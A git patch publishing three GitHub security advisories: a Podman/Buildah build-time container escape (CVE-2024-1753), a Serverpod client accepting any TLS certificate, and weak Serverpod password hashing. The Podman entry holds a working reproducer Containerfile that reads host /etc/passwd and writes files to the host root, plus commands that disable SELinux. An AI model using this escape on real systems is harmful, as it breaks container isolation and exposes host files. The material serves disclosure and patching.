From 5711acbb6277b0c72192bf434eb52880a70b7174 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 28 Mar 2024 17:55:49 +0000 Subject: [PATCH] Publish Advisories GHSA-874v-pj72-92f3 GHSA-h6x7-r5rg-x5fw GHSA-r75m-26cq-mjxc --- .../GHSA-874v-pj72-92f3.json | 96 +++++++++++++++++++ .../GHSA-h6x7-r5rg-x5fw.json | 65 +++++++++++++ .../GHSA-r75m-26cq-mjxc.json | 65 +++++++++++++ 3 files changed, 226 insertions(+) create mode 100644 advisories/github-reviewed/2024/03/GHSA-874v-pj72-92f3/GHSA-874v-pj72-92f3.json create mode 100644 advisories/github-reviewed/2024/03/GHSA-h6x7-r5rg-x5fw/GHSA-h6x7-r5rg-x5fw.json create mode 100644 advisories/github-reviewed/2024/03/GHSA-r75m-26cq-mjxc/GHSA-r75m-26cq-mjxc.json diff --git a/advisories/github-reviewed/2024/03/GHSA-874v-pj72-92f3/GHSA-874v-pj72-92f3.json b/advisories/github-reviewed/2024/03/GHSA-874v-pj72-92f3/GHSA-874v-pj72-92f3.json new file mode 100644 index 00000000000..d07d7e2ee74 --- /dev/null +++ b/advisories/github-reviewed/2024/03/GHSA-874v-pj72-92f3/GHSA-874v-pj72-92f3.json @@ -0,0 +1,96 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-874v-pj72-92f3", + "modified": "2024-03-28T17:53:52Z", + "published": "2024-03-28T17:53:52Z", + "aliases": [ + "CVE-2024-1753" + ], + "summary": "Podman affected by CVE-2024-1753 container escape at build time ", + "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman.\n\n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Podman with the issue\n```\nsetenforce 0\npodman build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. \n\n```\npodman rm -a\npodman rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\npodman build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Podman.\n\nWhen running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/containers/podman/v4" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.9.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/containers/podman/v5" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.0.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf" + }, + { + "type": "WEB", + "url": "https://github.com/containers/podman/security/advisories/GHSA-874v-pj72-92f3" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1753" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2024-1753" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2265513" + }, + { + "type": "PACKAGE", + "url": "https://github.com/containers/podman" + }, + { + "type": "WEB", + "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZVBSVZGVABPYIHK5HZM472NPGWMI7WXH" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-269" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-03-28T17:53:52Z", + "nvd_published_at": "2024-03-18T15:15:41Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-h6x7-r5rg-x5fw/GHSA-h6x7-r5rg-x5fw.json b/advisories/github-reviewed/2024/03/GHSA-h6x7-r5rg-x5fw/GHSA-h6x7-r5rg-x5fw.json new file mode 100644 index 00000000000..66f3087dd76 --- /dev/null +++ b/advisories/github-reviewed/2024/03/GHSA-h6x7-r5rg-x5fw/GHSA-h6x7-r5rg-x5fw.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h6x7-r5rg-x5fw", + "modified": "2024-03-28T17:53:26Z", + "published": "2024-03-28T17:53:26Z", + "aliases": [ + "CVE-2024-29887" + ], + "summary": "Serverpod client accepts any certificate", + "details": "This bug bypassed the validation of TSL certificates on all none web HTTP clients in the `serverpod_client` package. Making them susceptible to a man in the middle attack against encrypted traffic between the client device and the server. \n\nAn attacker would need to be able to intercept the traffic and highjack the connection to the server for this vulnerability to be used. \n\n### Impact\nAll versions of `serverpod_client` pre `1.2.6`\n\n### Patches\nUpgrading to version `1.2.6` resolves this issue.\n\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Pub", + "name": "serverpod_client" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.2.6" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/serverpod/serverpod/security/advisories/GHSA-h6x7-r5rg-x5fw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29887" + }, + { + "type": "WEB", + "url": "https://github.com/serverpod/serverpod/commit/d55bf8d12967fc7955a875cb3e0f9693bd6d2c71" + }, + { + "type": "PACKAGE", + "url": "https://github.com/serverpod/serverpod" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-295" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-03-28T17:53:26Z", + "nvd_published_at": "2024-03-27T19:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-r75m-26cq-mjxc/GHSA-r75m-26cq-mjxc.json b/advisories/github-reviewed/2024/03/GHSA-r75m-26cq-mjxc/GHSA-r75m-26cq-mjxc.json new file mode 100644 index 00000000000..19e2438f522 --- /dev/null +++ b/advisories/github-reviewed/2024/03/GHSA-r75m-26cq-mjxc/GHSA-r75m-26cq-mjxc.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-r75m-26cq-mjxc", + "modified": "2024-03-28T17:53:42Z", + "published": "2024-03-28T17:53:42Z", + "aliases": [ + "CVE-2024-29886" + ], + "summary": "Serverpod improved security for stored password hashes", + "details": "## Description\n\n### Improved security for stored password hashes\nServerpod now uses the OWASP, [source](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#introduction), recommended Argon2Id password hash algorithm to store password hashes for the email authentication module.\n\nStarting from Serverpod `1.2.6` all users that either creates an account or authenticates with the server will have their password stored using the safer algorithm. No changes are required from the developer to start storing passwords using the safer algorithm.\n\n### Why did we change how passwords are stored?\nAn issue was identified with the old password hash algorithm that made it susceptible to rainbow attacks if the database was compromised.\n\nIt is strongly recommended to migrate your existing password hashes.\n\n### Migrate existing password hashes\nThe email authentication module provides a helper method to migrate all the existing legacy password hashes in the database. Simply call `Emails.migrateLegacyPasswordHashes(...)` with a session instance as an argument to migrate the password hashes.\n\nThe method is implemented as an idempotent operation and will yield the same result regardless of how many times it is called.\n\nWe recommend either implementing a web server route that can be called remotely or by calling the method as part of starting the server.\n\nFollowing is example code for implementing a web server route.\n\n

Web server route code

\n\n```dart\nimport 'dart:io';\n\nimport 'package:serverpod/serverpod.dart';\nimport 'package:serverpod_auth_server/module.dart' as auth;\n\nclass MigratePasswordsRoute extends Route {\n @override\n Future handleCall(Session session, HttpRequest request) async {\n request.response.writeln(\n 'Migrating legacy passwords, check the server logs for progress updates.',\n );\n _migratePasswords(session);\n return true;\n }\n}\n\nFuture _migratePasswords(Session session) async {\n session.log('Starting to migrate passwords.');\n\n var totalMigratedPasswords = 0;\n while (true) {\n try {\n var entriesMigrated = await auth.Emails.migrateLegacyPasswordHashes(\n session,\n // Process 100 database entries at a time\n batchSize: 100,\n // Stop after 500 entries have been migrated\n maxMigratedEntries: 500,\n );\n\n totalMigratedPasswords += entriesMigrated;\n session.log(\n 'Migrated $entriesMigrated password entries, total $totalMigratedPasswords.',\n );\n\n if (entriesMigrated == 0) break;\n\n // Delay to avoid overloading the database\n await Future.delayed(Duration(seconds: 1));\n } catch (e) {\n session.log('Error migrating passwords: $e');\n }\n }\n\n session.log('Finished migrating passwords.');\n}\n```\n\n
\n\n### How we migrate existing password hashes\nSince password hashes can’t be recalculated without knowledge of the plain text password, the method in the email authentication module applies the new algorithm to the already stored password hashes.\n\nWhen the affected users later authenticate, their password hash will be calculated using both algorithms in tandem. If the authentication is accepted, the stored password hash will be updated to only use the new algorithm so that further authentication only needs to run the new algorithm.\n\n### Impact\nAll versions of `serverpod_auth_server` pre `1.2.6`\n\n### Patches\nUpgrading to version `1.2.6` resolves this issue.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Pub", + "name": "serverpod_auth_server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.2.6" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/serverpod/serverpod/security/advisories/GHSA-r75m-26cq-mjxc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29886" + }, + { + "type": "WEB", + "url": "https://github.com/serverpod/serverpod/commit/a78b9e9f1de74d1300633a122b6cc0f064139ad6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/serverpod/serverpod" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-916" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-03-28T17:53:42Z", + "nvd_published_at": "2024-03-27T19:15:49Z" + } +} \ No newline at end of file